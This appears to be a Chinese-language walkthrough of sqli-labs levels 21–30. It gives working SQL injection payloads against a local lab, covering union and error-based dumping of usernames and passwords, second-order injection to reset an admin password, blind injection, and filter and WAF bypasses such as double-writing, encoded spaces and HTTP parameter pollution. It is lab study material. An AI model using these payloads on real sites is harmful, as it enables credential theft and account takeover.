第二十一关 cookie base64注入
输入正确的账密 跟20关差不多
抓删除cookie的包
源码:
跟前面那一关不一样的是cookie这里是进行了加密,通过base64解密得出:
那么注入的时候也要注意加密形式,将‘#进行加密--JyM=
出现报错信息 ye开始报错注入,,注意就是要进行base63加密:
') and updatexml(1,concat(0x7e,database(),0x7e),1)#
第二十二关
输入正确账号得
源码:
跟二十一关一样就是闭合的方式不一致
第二十三关 单引号闭合
跟之前的不一样啦
输入单引号报错
输入#感觉像是过滤了一些字符看看源码,,是滴没错就是过滤啦
那就用 or ’1‘=’1进行单引号闭合测试
正确 可以输出sql语句进行查看闭合
进行联合注入payload:http://localhost/Less-23/?id=-1' union select 1,database(),3 or '1'='1
查表:http://localhost/Less-23/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 or '1'='1
查列:http://localhost/Less-23/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 or '1'='1
查内容:http://localhost/Less-23/?id=-1' union select 1,(select group_concat(username,password)from users),3 or '1'='1
第二十四关 二次注入
主界面多了一些功能点
输入正确的账密 得到的是一个改密码的操作,看看源代码:
函数-mysql_real_escape_string:转义 SQL 语句中使用的字符串中的特殊字符
可以利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存到数据库的时候是没有转义的,以原本数据存入数据库的 在观察注册页面的源代码中可以得知就是一个简单的注册。
当我们修改密码的时候,对于账户名是没有进行过滤的。
假设数据库中存在一个admin用户,所以我们直接注册一个 admin‘#,根据源代码构造闭合 为的是用admin’#修改admin的账密
注册 admin'#-123456
注册成功后进行登录直接修改密码为11111,通过bp抓包可以发现admin的密码被修改
为了更好的看到在更新密码处看到完整的闭合语句直接输出,直接就是一个更新密码的操作
二次注入的原理:
(1)后端(PHP)代码使用函数mysql_real_escape_string对特殊字符进行转义
(2)注册的时候输入的语句在保存进数据库(mysql)时没有转义
第二十五关 双写绕过
主界面
源代码:
出现黑名单
但是只过滤一次
单引号报错
正常
联合注入
回显位置:
报错注入
他过滤了or 那就双写绕过
payload:http://localhost/Less-25/?id=-1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+
第二十五a关
数字型注入
看源码不能使用报错注入
联合注入
http://localhost/Less-25a?id=-1 union select 1,database(),3#
使用逻辑符号绕过
&&和||来绕“or”和“and”过滤机制
盲注
通过截取函数 可以进行猜解
第二十六关逻辑运算符、注释符以及空格过滤
源码:将逻辑运算符,注释符以及空格给过滤
可以使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换,当网页返回错误信息时,可以使用不需要空格的报错注入,如果没有返回错误信息也可以使用其他字符替代空格。注意在 windows 下由于 apache 的解析的问题,无法使用一些特殊的字符代替空格
参考大大:https://www.cnblogs.com/linfangnan/p/13940107.html
编码绕过:
http://192.168.92.148/Less-26a/?id=1%27)%a0OorRDER%a0BY%a03||(%271
我使用了docker安装了sqli-labs然后再使用编码做的 是可以滴
绕过方式参考大大:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户
单引号报错:
两个单引号正常,说明存在单引号闭合的字符型注入
报错注入:
1.对于被过滤的字符,可以使用其他的字符进行替代,使用 “%a0” 或 “%0b” 替代空格,使用 “||” 替代 “or”,使用 “%26%26” 替代 “and”
将sql语句输出:
updatexml语句
http://localhost/Less-26/?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) || '
extractvalue语句
http://localhost/Less-26/?id=1' || (extractvalue(1,concat(0x7e,database()))) || '
第二十六a
源码:
绕过方式
- 针对注释(/* # -- /),可以使用引号闭合绕过。
- 针对关键字( and or ),可以使用双写绕过。
- 针对空格,可以使用 %a0 绕过。
且不显示错误信息,不能使用报错注入
闭合:http://localhost/Less-26a/?id=1') | | ('1
ps:
一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
二:因错误回显是 MySQL 错误信息,可利用报错注入,首选是updatexml()注入与extractvalue()注入,因其他方法仍不能避开空格的使用。
三:基于Bool 盲注,构造注入语句避开空格。
四:基于延时盲注,构造注入语句避开空格
1.盲注
id=1%27)%a0anandd%a0length((database()))%3E8%a0anandd(%27
大于8报错
大于7正常
猜解数据库的第一个ascii字母为115
?id=1')%a0anandd%a0ascii(substr((database()),1,1))>114%a0anandd('1
2.联合注入
?id=0')union%a0select%a01,(database()),3%a0anandd('
第二十七关
输入1
输入0,没有具体的报错信息
源码---过滤
联合注入:
没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。
判断回显位置:?id=0'%a0UniOn%a0SelECT%a01,2,3;%00
报错注入:
?id=1'or(updatexml(1,concat(0x7e,(database())),1))or'0
第二十七a关
源码:
单引号正常双引号报错,不显示报错信息
联合注入:
采用双写或者是大小写混合绕过即可
?id=0"uniunionon%0AseleSelectct%0A1,database(),3%0Aand"1
id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aand"1
盲注:
?id=1"and%a0length((database()))>7%a0and"1
第二十八关
源码:
\s表示空格,+表示匹配一次或多次,/i表示不区分大小写
使用重写绕过写:
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0aand('1
第二十八a
源码:
只过滤了union+select其他的没有被过滤且不能使用报错注入
联合注入:
可以使用双写绕过他只过滤一次
布尔盲注:
大于7正常
大于8不正常呢
第二十九关 WAF绕过
源码:
使用报错注入即可
http://192.168.92.148/Less-29/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+
访问login.php 绕过WAF
源码:
java_implimentation() 方法获取到参数,接着使用 GET 方法获取 id 参数,并通过 whitelist() 方法判断参数是否合法
对输入的数据进行正则匹配-必须是数字。^-匹配输入的行首;\d-匹配一个数字字符[0-9];+-表示匹配一次或多次;$-匹配输入的尾部
explode 方法可以使一个字符串按照某一字符串作为边界点来分隔成数组
HTTP 参数污染绕过
绕过:参考大大-https://www.cnblogs.com/linfangnan/p/13946722.html
绕过的方法是 HPP (HTTP Parameter Pollution),也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入。
单引号报错且出现报错语句 可以使用报错注入
第三十关
源码:
跟前面那一关差不多就是单引号变成双引号